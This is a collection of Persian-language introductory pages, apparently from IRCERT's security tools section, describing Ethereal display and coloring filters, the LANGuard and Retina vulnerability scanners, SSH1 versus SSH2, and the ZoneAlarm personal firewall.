همان‌گونه که مشاهده می‌کنید، در این محل، برای تعریف فیلتری که تنها بسته‌هایی با مبدأ 192.168.0.1 را نمایش دهد از نوع دیگری از تعریف فیلتر استفاده می‌کنیم. به بیان دیگر، زبان تعریف فیلتر برای دو نوع Capture و نمایش (Analyze) با یکدیگر متفاوت است. با مراجعه به سایت این نرم‌افزار، می‌توانید با هر دو زبان آشنا شوید.

روش دیگر استفاده از فیلترهای نمایش استفاده از منوی Analyze و انتخاب Display Filters در این منو است. با این انتخاب پنجره‌ای مشابه پنجره‌ی Capture Filters نمایش داده می‌شود :

در مثال بالا، مجدداً فیلتری، از نوع نمایشی، با نام Simple تعریف کرده‌ایم که زبان تعریف آن همان زبان فیلترهای نمایش است. با فشار دکمه‌ی Apply، فیلتر مورد نظر اعمال می‌شود و شکل پنجره‌ی اصلی تنها بسته‌های با آدرس مبدأ 192.168.0.1 را نمایش می‌دهد. باید توجه داشت که بقیه‌ی بسته‌ها در این مرحله از میان نمی‌روند و استفاده از فیلترها تنها نمایش را به بازه‌ی مورد درخواست کاربر محدود می‌کند.

از دیگر قابلیت‌های مفید این نرم‌افزار، فیلترهای رنگی آن است. این فیلترها را می‌توان در منوی View با انتخاب Coloring Rules تعریف کرد. زبان و روش تعریف این فیلترها مشابه فیلترهای نمایش است. شکل زیر پنجره‌ی اصلی را پس از تعیین فیلتر رنگی ip.src=192.168.0.1 و تغییر رنگ بسته‌هایی که آدرس مبدأ آنها 192.168.0.1 است، نشان می‌دهد :

طبیعی است که می‌توان از چند فیلتر رنگی به‌طور هم‌زمان استفاده کرد.

با توجه به سه قسمت ارایه شده در باب معرفی این نرم‌افزار که حاکی از قابلیت‌ها متنوع آن است، Ethereal را می‌توان به جرأت قدرت‌مندترین نرم‌افزار از سری ابزارهای Sniffer به حساب آورد. لازم به ذکر است که این ابزار امکانات دیگری نیز دارد که با مراجعه به منوهای Analyze و Statistics می‌توانید از آن‌ها استفاده کنید.


﻿ IRCERT - ابزارها - LANGuard نرم‌افزار

صفحه اول > ابزارها

نرم‌افزار LANGuard

دسته‌ی مهمی از نرم‌افزارهای امنیتی را ابزارهای پویش و کشف و تعیین ضعف‌های امنیتی تشکیل می‌دهند. این ابزارها مدت‌های بسیاری است که وجود دارند، ولی از آنجا که مقوله‌ی امنیت در سال‌های اخیر اهمیتی ویژه یافته است، تنها به تازه‌گی‌ است که تولیدکننده‌گان آن‌ها، با هدف ساده‌سازی استفاده از این نرم‌افزارها اقدام به ویرایش مجدد رابط‌های کاربری کرده‌اند، تا تمایل استفاده‌ی عمومی از این ابزارها افزایش یابد.

آمارها نشان می‌دهند که اغلب حملات موفق، بر مبنای ضعف‌های امنیتی بسیار پیش‌پاافتاده، انجام می‌گیرند که ابزارهای پویش امنیت، می‌توانند تقریباً تمامی این ایرادها را شناسایی کرده و گزارشی از آن‌ها ارایه دهند.

یکی از این ابزارها، نرم‌افزار LANGuard، محصول شرکت نرم‌افزاری GFI است، که بیش‌تر بر روی ضعف‌های امنیتی معمول در سطوح پایین و متوسط تمرکز دارد. این نرم‌افزار که برای خانواده‌ی سیستم‌عامل‌های Windows نوشته شده است، عملاً در سطوحی که نرم‌افزارهای مشابهی همچون Retina محصول eEye Digital Security، مؤثر هستند، قابلیت‌های چندانی از خود نشان نمی‌دهد، لذا می‌توان آن‌را به عنوان ابزاری برای کاربران عادی شناخت.

در این نرم‌افزار برای بررسی و پویش شبکه، آدرس IP یا بازه‌ی آدرس‌های مورد نظر را وارد می‌کنیم و نرم‌افزار شروع به پویش شبکه و شناسایی دستگاه‌های فعال بر روی شبکه می‌کند. پارامترهای این پویش را می‌توان از قبل مشخص نمود. برای مثال تعیین استفاده از بسته‌های ICMP برای پویش یا پویش پورت‌های سیستم‌های فعال و یا به‌روز بودن اصلاحیه‌های امنیتی موجود بر روی سیستم‌های عامل از جمله پارامترهای مذکور است.

بدون داشتن حقوق مدیریت شبکه، می‌توان نام دستگاه‌ها، آدرس MAC، پورت‌های باز، نوع سیستم‌عامل و نگارش آن و برخی از اصلاحیه‌های موجود را به‌همراه دسته‌یی دیگر از اطلاعاتی که توسط SNMP در اختیار قرار می‌گیرد استخراج کرد.

با داشتن حقوق مدیریت، اطلاعات نسبتاً کاملی همچون نام کاربران، سیاست‌های امنیتی، شاخه‌های و پرونده‌های به اشتراک گذارده شده، سرویس‌های در حال کار بر روی سیستم‌ها و همچنین اطلاعاتی کامل در مورد اصلاحیه‌های نصب شده بر روی سیستم‌های عامل به‌دست آورد.

با توجه به این‌که این نرم‌افزار در حین پویش سیستم‌های موجود بر روی شبکه، امکان تعیین اصلاحیه‌های نصب شده بر روی سیستم‌ها را نیز دارد، لذا امکانی به نرم‌افزار اضافه شده است که بر مبنای ضعف‌های امنیتی به روز شده از سوی شرکت Microsoft و اصلاحیه‌های ارایه شده از سوی این شرکت، دسته‌یی از آن‌ها که باید بر روی هر یک از سیستم‌های پویش شده نصب گردند را نیز تعیین کرد.

نرم‌افزار LANGuard با توجه به امکانات مذکور، ابزاری مناسب برای شرکت‌های کوچک و متوسط است تا با استفاده از آن ایرادها و ضعف‌های متداول امنیتی را کشف کرده و در صدد رفع آنها برآییم.


﻿ IRCERT - ابزارها - SSH مقدمه ای بر

صفحه اول > ابزارها

مقدمه‌ای بر SSH

SSH که مخفف Secure Shell می‌باشد، به‌طور عمومی به برنامه‌یی اطلاق می‌گردد که برای دسترسی امن به رایانه‌یی از راه‌ دور، برای اجرای فرامین یا انتقال پرونده‌ها، مورد استفاده قرار می‌گیرد. علت اهمیت چنین روش‌هایی، اقدامات معمول نفوذگران در قالب پویش شبکه برای آگاهی از محتوای بسته‌ها، استفاده از IPهای جعلی و سرقت آدرس‌های IP، تهدیدات سرویس‌های DNS و دیگر روش‌های حمله است. عملاً با رمزکردن کانال ارتباطی میان کاربر و خادم، احتمال هریک از این حملات در پی اقدامات نفوذگران به حداقل می‌رسد.

با وجود آن‌که SSH به برنامه‌یی که این وظیفه را بر عهده دارد اطلاق می‌گردد، ولی تمامی این برنامه‌ها از استاندارد واحدی تبعیت می‌کنند. در نگارش جدید آن به نام SSH2، نرم‌افزاری به نام sftp برای برعهده‌گرفتن وظیفه‌ی FTP Clientها نیز وجود دارد. طبق آمارهای تقریبی ارایه شده، قریب به ۲ میلیون کاربر از نسخه‌های مختلف برنامه‌های متنوع SSH تحت سیستم‌های عامل مختلف استفاده می‌کنند.

نکته‌یی که لازم به گفتن است،‌ تفاوت میان پروتکل‌های استفاده شده در SSH1 و SSH2 است. به بیان دیگر این دو استاندارد با یکدیگر سازگاری ندارند. استانداردی که SSH1 بر مبنای آن است را می‌توان از آدرس http://www.tigerlair.com/ssh/faq/ssh1-draft.txt به‌دست آورد و برای آگاهی از استاندارد SSH2 می‌توانید به آدرس http://www.ietf.org/ids.by.wg/secsh.html مراجعه کنید. در حال حاضر، پشتیبان این استاندارد IETF است. با این وجود تعداد زیادی از شرکت‌ها نرم‌افزارهایی بر اساس این استاندارد تولید می‌کنند که برخی رایگان و برخی تجاری است.

برای استفاده از SSH، نیاز به سرویس و نرم‌افزاری داریم که در سوی خادم نصب می‌گردد. پس از آن نرم‌افزاری به عنوان مخدوم، کانال ارتباطی را ایجاد کرده و ارتباط امن برقرار می‌گردد. در حال حاضر سرویس‌ها و نرم‌افزارهای مخدوم برای سیستم‌های عامل مختلفی از جمله Windows، Macintosh، خانواده‌ی Unix، PalmOS، OS/2 و سیستم‌های عامل کم استفاده‌یی همچون VMS موجود است.

نکته‌یی که در این میان اهمیتی خاص دارد، مقایسه‌ی میان SSH1 و SSH2 است و اینکه باید از کدام یک از این استانداردها و نرم‌افزارهای مبتنی بر آن‌ها استفاده کرد؟ پاسخ به این سؤال چندان ساده نیست زیرا کماکان نرم‌افزارهای بسیاری وجود دارند که بر مبنای SSH1 هستند و عملاً این استاندارد SSH1 است که برای تمامی سیستم‌های عامل و محیط‌ها توسعه یافته و نرم‌افزارهایی بر مبنای آن تولید شده‌اند. با این وجود عملاً توسعه‌ی SSH1 متوقف شده است و تولیدکننده‌گان نرم‌افزار تنها بر روی SSH2 تمرکز کرده‌اند. از علل این تغییر می‌توان به ضعف‌های امنیتی موجود در ساختار SSH1، امکان حملات شناخته شده‌یی مانند نوع man-in-the-middle در مورد آن و احتمال رخداد حملات پیش‌بینی‌نشده، اشاره کرد.


﻿ IRCERT - ابزارها

صفحه اول > ابزارها

SuperScan، قسمت دوم

SuperScan، قسمت اول

Ethereal، بخش سوم

Ethereal، بخش دوم

Ethereal، بخش اول

WinDump، بخش دوم

WinDump، بخش اول : Sniffer ها

آشنایی با PGP

Nessus : پویش‌گری ساده و قدرت‌مند

Snort ، نمونه‌یی از یک ابزار تشخیص نفوذ شبکه‌یی

Retina Network Security Scanner

حفاظ شخصی ZoneAlarm

نرم افزار LANGuard

مقدمه‌یی بر SSH


﻿ IRCERT - ابزارها - Retina

صفحه اول > ابزارها

Retina Network Security Scanner

این نرم‌افزار که محصولی از شرکت eEye Digital Security است، کاربردی مشابه LANGuard Security Scanner دارد. از آنجاکه در این پایگاه مقدمه‌یی از نرم‌افزار LANGuard، به عنوان آشنایی با نرم‌افزارهای پویش امنیت در شبکه قرار گرفته است، در این متن ضمن معرفی Retina به مقایسه مختصر و اجمالی میان این دو محصول، که تحت Windows رقبای یکدیگر محسوب می‌شوند، نیز پرداخته خواهد شد.

پویش‌گر امنیت شبکه‌ی Retina، یکی از قوی‌ترین نرم‌افزارها در این دسته از محصولات به شمار می‌آید. امکانات و قابلیت‌های متنوع، به همراه امکان پویش در شبکه‌هایی که از سیستم‌های عامل متنوعی، همچون Windows و خانواده ی Linux و Unix استفاده می‌کنند، و همچنین امکان نصب اصلاحیه‌های امنیتی ویژه ضعف‌های امنیتی یافت شده که به‌صورت خودکار توسط Retina انجام می‌گیرد، این نرم‌افزار را به محصولی خاص و قدرتمند تبدیل می‌کند، تا حدی که اغلب مجلات و منابعی که در زمینه‌ی بررسی چنین نرم‌افزارهایی از اعتباری بالا برخوردارند، آن‌را به عنوان محصولی برتر معرفی می‌کنند.

از امکانات ویژه و منحصربه‌فرد این نرم‌افزار، که در دیگر پویش‌گر‌های امنیت شبکه‌ی مشابه یافت نمی‌شود، می توان به امکان Auditing آن اشاره کرد. توسط Auditing Tool این نرم‌افزار می‌توان در زمان پویش، دسته‌یی خاص از ضعف‌های امنیتی را برای تعدادی از ایستگاه‌های کاری یا خادم‌های تعیین شده اعمال کرد. همچنین در این ابزار امکان اضافه نمودن ضعفی جدید، به صورت دستی، توسط مدیر شبکه نیز وجود دارد. به عبارت دیگر، می‌توان گزارشی از وضعیت تعدادی رایانه‌ی خاص در برابر ضعف‌هایی معین،‌ تهیه نمود و در صورت نیاز اقدام به نصب خودکار اصلاحیه‌های امنیتی نمود.

این پویش‌گر، با استفاده از بازه‌یی از آدرس‌های IP به پویش‌ شبکه می‌پردازد و ضعف‌های امنیتی را بر اساس بحرانی‌بودن آن‌ها مرتب می‌کند. همان‌گونه که گفته شد می‌توان بررسی امنیتی شبکه را محدود به دسته‌ی خاصی از ضعف‌های، نرم‌افزارها و یا جنبه‌های امنیتی نمود. در این میان شاید تنها ایرادی، آن هم از بعد گزارش‌گیری و رابط کاربری، می‌توان به این نرم‌افزار وارد دانست، نبود امکان مرتب‌سازی ایستگاه‌های پویش‌شده بر اساس نوع سیستم‌عامل آن‌هاست.

در هنگام نصب، پویش‌گر، اقدام به اتصال به پای‌گاه داده‌ی اصلی شرکت سازنده کرده و به به‌روز سازی ضعف‌های امنیتی شناخته شده می‌پردازد. این اقدام با هدف کاهش احتمال نادیده انگاشتن ضعف‌های نوین امنیتی صورت می‌گیرد.


﻿ IRCERT - ابزارها - ZoneAlarm حفاظ شخصی

صفحه اول > ابزارها

حفاظ شخصی ZoneAlarm

استفاده از حفاظ‌های شخصی، در دنیای کنونی که اغلب حملات امنیتی و ویروس‌ها، کاربران عادی خانه‌گی را هدف قرار داده‌اند، اهمیتی ویژه یافته است.

شرکت ZoneLabs با ارایه‌ی این نرم‌افزار، عملاً خود را در بازار این دسته از نرم‌افزارها مبدل به حریفی بی‌رقیب نموده است. رقبای دیگر این نرم‌افزار محصولات مشابه دیگری از McAfee و Norton هستند.

مهم‌ترین امکانات و قابلیت‌های این نرم‌افزار را می‌توان به‌صورت زیر برشمرد :

- محدود ساختن دسترسی نرم‌افزارهای مختلف بر روی رایانه

این نرم‌افزار قابلیت بررسی وضعیت ارتباط نرم‌افزارهای نصب شده بر روی سیستم با شبکه را داراست. لذا در صورتی‌که نرم‌افزاری ناشناس سعی در تماس به شبکه داشته باشد، می‌توان این دسترسی را محدود ساخت.

- محدودیت بر روی آدرس‌ها، پورت‌ها و پروتکل‌ها

توسط این امکان می‌توان از دسترسی‌هایی که از بیرون از رایانه‌مان صورت می‌گیرد، در قالب آدرس IP، پورت و پروتکل مورد نظر آگاهی یافت و در صورت نیاز این دسترسی را بست. از سوی دیگر می‌توان آدرس‌ها، پورت‌ها و پروتکل‌هایی که دسترسی از طریق آن‌ها به سیستم مانعی ندارد را مشخص نمود.

- امکان حفاظت از اطلاعات شخصی

توسط این امکان، و با پاک کردن Cacheهای مختلف پرونده‌ها، آدرس‌ها، Cookieها و دیگر اطلاعات شخصی حساس مشابه، می‌توان از درز کردن اطلاعات شخصی مهمی از این قبیل به شبکه جلوگیری نمود.

- سیستم محافظت از سرویس پست الکترونیک

توسط این امکان، نامه‌های ورودی به سیستم، که احتمال آلوده‌گی آن‌ها وجود دارد را مسدود ساخت. از سوی دیگر در صورت آلوده بودن سیستم به ویروس‌هایی که خود را از طریق ارسال نامه به دریافت‌کننده‌گانی که آدرس آنها در فهرست آدرس برنامه‌ی ارسال پست‌الکترونیک موجود است، منتشر می‌کنند، می‌توان جلو این انتشار را با مسدود ساختن نامه‌های ارسالی گرفت.

- صدور اخطارهای امنیتی

جدا از گزارش حملات احتمالی، درصورتی‌که قصد ارسال اطلاعات به شبکه را داشته باشیم، هشدارهای امنیتی از سوی این نرم‌افزار توجه استفاده کننده را به دقت بیشتر در این زمینه جلب می‌کند.

- تغییر سطح امنیت به صورت خودکار

در صورت بروز حملات متعدد امنیتی، نرم‌افزار به طور خودکار سطح حفاظت را بالاتر می‌برد. این امکان احتمال دفع حملات را بالا می‌برد.

آخرین نگارش این نرم‌افزار نسخه‌ی ۴ است که کماکان بیشترین اقبال را در میان این دسته از نرم‌افزارها به خود جلب کرده، و بیشترین محبوبیت و کارایی را در میان کاربران عادی یافته است.